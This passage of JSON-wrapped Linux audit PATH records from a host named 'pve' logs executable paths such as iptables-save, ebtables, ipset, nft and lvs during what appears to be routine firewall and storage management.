cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215272,"@rawstring":"node=pve type=PATH msg=audit(1781965215.272:64668): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215266,"@rawstring":"node=pve type=PATH msg=audit(1781965215.266:64667): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215266,"@rawstring":"node=pve type=PATH msg=audit(1781965215.266:64667): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215254,"@rawstring":"node=pve type=PATH msg=audit(1781965215.254:64666): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215254,"@rawstring":"node=pve type=PATH msg=audit(1781965215.254:64666): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215245,"@rawstring":"node=pve type=PATH msg=audit(1781965215.245:64665): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215245,"@rawstring":"node=pve type=PATH msg=audit(1781965215.245:64665): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215236,"@rawstring":"node=pve type=PATH msg=audit(1781965215.236:64664): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215236,"@rawstring":"node=pve type=PATH msg=audit(1781965215.236:64664): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215229,"@rawstring":"node=pve type=PATH msg=audit(1781965215.229:64662): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215229,"@rawstring":"node=pve type=PATH msg=audit(1781965215.229:64662): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215220,"@rawstring":"node=pve type=PATH msg=audit(1781965215.220:64661): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215220,"@rawstring":"node=pve type=PATH msg=audit(1781965215.220:64661): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215214,"@rawstring":"node=pve type=PATH msg=audit(1781965215.214:64660): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215214,"@rawstring":"node=pve type=PATH msg=audit(1781965215.214:64660): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215208,"@rawstring":"node=pve type=PATH msg=audit(1781965215.208:64659): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215208,"@rawstring":"node=pve type=PATH msg=audit(1781965215.208:64659): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215202,"@rawstring":"node=pve type=PATH msg=audit(1781965215.202:64658): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215202,"@rawstring":"node=pve type=PATH msg=audit(1781965215.202:64658): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215196,"@rawstring":"node=pve type=PATH msg=audit(1781965215.196:64657): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215196,"@rawstring":"node=pve type=PATH msg=audit(1781965215.196:64657): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215187,"@rawstring":"node=pve type=PATH msg=audit(1781965215.187:64656): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215187,"@rawstring":"node=pve type=PATH msg=audit(1781965215.187:64656): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215180,"@rawstring":"node=pve type=PATH msg=audit(1781965215.180:64655): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215180,"@rawstring":"node=pve type=PATH msg=audit(1781965215.180:64655): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215175,"@rawstring":"node=pve type=PATH msg=audit(1781965215.175:64654): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215175,"@rawstring":"node=pve type=PATH msg=audit(1781965215.175:64654): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=PATH msg=audit(1781965215.170:64653): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=PATH msg=audit(1781965215.170:64653): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=PATH msg=audit(1781965215.170:64652): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=PATH msg=audit(1781965215.170:64652): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215170,"@rawstring":"node=pve type=PATH msg=audit(1781965215.170:64651): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215164,"@rawstring":"node=pve type=PATH msg=audit(1781965215.164:64650): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215164,"@rawstring":"node=pve type=PATH msg=audit(1781965215.164:64650): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215164,"@rawstring":"node=pve type=PATH msg=audit(1781965215.164:64650): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215158,"@rawstring":"node=pve type=PATH msg=audit(1781965215.158:64649): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215158,"@rawstring":"node=pve type=PATH msg=audit(1781965215.158:64649): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215150,"@rawstring":"node=pve type=PATH msg=audit(1781965215.150:64648): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215150,"@rawstring":"node=pve type=PATH msg=audit(1781965215.150:64648): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215144,"@rawstring":"node=pve type=PATH msg=audit(1781965215.144:64647): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215144,"@rawstring":"node=pve type=PATH msg=audit(1781965215.144:64647): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215136,"@rawstring":"node=pve type=PATH msg=audit(1781965215.136:64646): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215136,"@rawstring":"node=pve type=PATH msg=audit(1781965215.136:64646): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215126,"@rawstring":"node=pve type=PATH msg=audit(1781965215.126:64645): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965215126,"@rawstring":"node=pve type=PATH msg=audit(1781965215.126:64645): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965214783,"@rawstring":"node=pve type=PATH msg=audit(1781965214.783:64644): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965214783,"@rawstring":"node=pve type=PATH msg=audit(1781965214.783:64644): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965214754,"@rawstring":"node=pve type=PATH msg=audit(1781965214.754:64643): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965214754,"@rawstring":"node=pve type=PATH msg=audit(1781965214.754:64643): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212192,"@rawstring":"node=pve type=PATH msg=audit(1781965212.192:64642): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212192,"@rawstring":"node=pve type=PATH msg=audit(1781965212.192:64642): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212192,"@rawstring":"node=pve type=PATH msg=audit(1781965212.192:64641): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212191,"@rawstring":"node=pve type=PATH msg=audit(1781965212.191:64640): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212181,"@rawstring":"node=pve type=PATH msg=audit(1781965212.181:64639): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212181,"@rawstring":"node=pve type=PATH msg=audit(1781965212.181:64639): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212181,"@rawstring":"node=pve type=PATH msg=audit(1781965212.181:64638): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965212180,"@rawstring":"node=pve type=PATH msg=audit(1781965212.180:64637): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207172,"@rawstring":"node=pve type=PATH msg=audit(1781965207.172:64636): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207172,"@rawstring":"node=pve type=PATH msg=audit(1781965207.172:64636): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207172,"@rawstring":"node=pve type=PATH msg=audit(1781965207.172:64635): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207172,"@rawstring":"node=pve type=PATH msg=audit(1781965207.172:64634): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207168,"@rawstring":"node=pve type=PATH msg=audit(1781965207.168:64633): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207168,"@rawstring":"node=pve type=PATH msg=audit(1781965207.168:64633): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207168,"@rawstring":"node=pve type=PATH msg=audit(1781965207.168:64632): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965207168,"@rawstring":"node=pve type=PATH msg=audit(1781965207.168:64631): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206113,"@rawstring":"node=pve type=PATH msg=audit(1781965206.113:64630): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206113,"@rawstring":"node=pve type=PATH msg=audit(1781965206.113:64630): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206111,"@rawstring":"node=pve type=PATH msg=audit(1781965206.111:64629): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206111,"@rawstring":"node=pve type=PATH msg=audit(1781965206.111:64629): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206109,"@rawstring":"node=pve type=PATH msg=audit(1781965206.109:64628): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206109,"@rawstring":"node=pve type=PATH msg=audit(1781965206.109:64628): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206109,"@rawstring":"node=pve type=PATH msg=audit(1781965206.109:64627): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206105,"@rawstring":"node=pve type=PATH msg=audit(1781965206.105:64626): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206105,"@rawstring":"node=pve type=PATH msg=audit(1781965206.105:64626): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206105,"@rawstring":"node=pve type=PATH msg=audit(1781965206.105:64626): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206099,"@rawstring":"node=pve type=PATH msg=audit(1781965206.099:64625): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206099,"@rawstring":"node=pve type=PATH msg=audit(1781965206.099:64625): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206090,"@rawstring":"node=pve type=PATH msg=audit(1781965206.090:64624): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206090,"@rawstring":"node=pve type=PATH msg=audit(1781965206.090:64624): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206085,"@rawstring":"node=pve type=PATH msg=audit(1781965206.085:64623): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206085,"@rawstring":"node=pve type=PATH msg=audit(1781965206.085:64623): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206076,"@rawstring":"node=pve type=PATH msg=audit(1781965206.076:64622): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206076,"@rawstring":"node=pve type=PATH msg=audit(1781965206.076:64622): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206070,"@rawstring":"node=pve type=PATH msg=audit(1781965206.070:64620): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206070,"@rawstring":"node=pve type=PATH msg=audit(1781965206.070:64620): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206067,"@rawstring":"node=pve type=PATH msg=audit(1781965206.067:64619): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206067,"@rawstring":"node=pve type=PATH msg=audit(1781965206.067:64619): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206061,"@rawstring":"node=pve type=PATH msg=audit(1781965206.061:64618): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206061,"@rawstring":"node=pve type=PATH msg=audit(1781965206.061:64618): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206054,"@rawstring":"node=pve type=PATH msg=audit(1781965206.054:64617): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206054,"@rawstring":"node=pve type=PATH msg=audit(1781965206.054:64617): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206048,"@rawstring":"node=pve type=PATH msg=audit(1781965206.048:64616): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206048,"@rawstring":"node=pve type=PATH msg=audit(1781965206.048:64616): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206043,"@rawstring":"node=pve type=PATH msg=audit(1781965206.043:64615): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206043,"@rawstring":"node=pve type=PATH msg=audit(1781965206.043:64615): 